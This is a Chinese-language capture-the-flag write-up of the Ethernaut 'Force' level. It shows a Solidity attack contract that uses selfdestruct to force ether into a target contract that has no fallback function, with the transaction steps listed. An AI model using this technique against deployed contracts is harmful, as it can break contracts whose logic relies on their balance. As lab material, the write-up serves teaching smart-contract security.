# 7.Force

# 题目描述

img

# 解题过程

题目源码

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Force {/*

                   MEOW ?
         /\_/\   /
    ____/ o o \
  /~____  =ø= /
 (______)__m_m)

*/}
1
2
3
4
5
6
7
8
9
10
11
12

题目要求为该合约余额大于0,而源码中不存在 fallback函数,导致合约不能通过常规交易接收以太币。

img

我们在官方文档中可以看到一个函数介绍,可以在没有 fallback的情况下强制对合约进行转账

img

那我们的思路就是部署一个自毁合约,对这个合约转账后进行自毁对目标合约强制转入以太币

img

部署攻击合约

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Force {/*

                   MEOW ?
         /\_/\   /
    ____/ o o \
  /~____  =ø= /
 (______)__m_m)

*/}

contract Attack{
    
    address public addr;
    
    function setAddr(address x) public {
        addr = x;
    }
    
    function kill() public{
        address payable desaddr = payable(address(addr));
        selfdestruct(desaddr);
    }
    receive() external payable {}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

向攻击合约地址转入 0.001 ETH

img

img

向目标合约调用自毁函数

img

查看交易hash是否成功

img

img

目标合约成功被强制转入ETH